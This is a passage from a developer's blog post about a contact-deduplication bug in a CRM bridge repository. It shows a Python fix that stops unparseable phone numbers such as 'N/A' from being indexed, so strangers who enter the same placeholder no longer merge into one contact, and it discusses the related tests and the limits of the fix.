And the detail that made me laugh, the bitter kind: raw.strip() is the Unicode strip. The package's own identity.py defines a six-character ASCII whitespace constant precisely because bare str.strip() trims things like U+3000 IDEOGRAPHIC SPACE and merges identifiers that differ only there. So ext-12 and ext-12 followed by an ideographic space also folded onto one index key. The fallback didn't merely bypass the phone doctrine. It committed the exact sin from the email doctrine on its way past.

The fix is structural, and it's None

def _phone_key(self, state: _LocationState, raw: str) -> str | None:
    """The E.164 dedupe key, or None when the number does not determine
    one. An unresolvable phone is stored as a field but never indexed:
    indexing the raw string would merge two strangers who both typed
    "N/A" into the form, and trimming it with ``str.strip`` would break
    the ASCII-only doctrine everything else keys on. No key, no match,
    no merge."""
    result = normalise_phone(raw, default_region=state.location.default_region)
    if isinstance(result, NormalisedPhone):
        return result.e164
    return None

The callers grew None checks: indexing skips it, phone search returns empty. The raw value still gets stored on the contact as a field, so a human reading the record sees exactly what arrived; it just never becomes a match key. Three tests now pin the behaviour: test_two_strangers_with_the_same_unparseable_phone_do_not_merge is the Ann and Bob story, test_an_unparseable_phone_is_stored_as_a_field_but_never_indexed pins the stored-but-never-keyed split, and test_the_ascii_trim_doctrine_holds_for_phone_indexing_too carries a literal U+3000 in its source. You can't see the character, which is exactly the point.

Two lessons worth carrying out of the repo, because both apply anywhere identity gets deduped.

A normalisation failure is not an identity. When the normaliser says "I don't know", indexing the raw value turns every placeholder into a master key: every N/A equals every other N/A, every none, every -, every xxx. This isn't a CRM quirk. Any dedupe, ETL join, or entity-resolution pass keyed on a column that contains placeholders has this failure mode, and the placeholder density of a phone column is never zero. The irresolvable key has to index as nothing at all.

One rule, and it's only as strong as its least visible door. Three incidents, one shape: a many-to-one transformation over identity is a merge, and a merge is a grant. In the tenant incident the grant was entitlements. In the on-behalf repo it would have been document access. Here it's two strangers becoming one contact with one shared history. What moved between the incidents is where the door was. In incident two, the doctrine existed and a caller didn't call it. In incident three, the callers all called it, and the leak was the fallback path inside one of them, in a test fake, the component everyone extends and nobody audits because "it's just the fake". The fake is the thing your entire suite treats as ground truth. A doctrine that stops at the fake's front door is a lobby sign.

What the fix does not fix

A placeholder that happens to parse walks straight through the front door: 5555555555 under a US-region location resolves to a legitimate-looking E.164 and mints a real key, so two strangers typing it will still merge. Refusing the unparseable stops junk from acting as a wildcard; it does not detect junk. Catching parseable junk needs a known-junk list or an alarm on keys that match suspiciously often, and this repo ships neither yet. Second, the fake is my model of the documented upsert semantics; whether the live platform's own server-side matching indexes raw strings is exactly the kind of thing the RUNBOOK says to verify against a real workspace before trusting anything. Third, the fix has a stated cost: an N/A lead with an unknown email now creates a fresh contact every time. That's deliberate. It fails toward duplicates a human can merge instead of merges nobody can split, but your review queue will feel the difference.

The doctrine, the fake, the deduper and the three anchor tests are all in github.com/vinimabreu/ghl-bridge if you want to run the Ann and Bob case yourself.

A key you couldn't compute is not a key to tidy up. It's no key at all.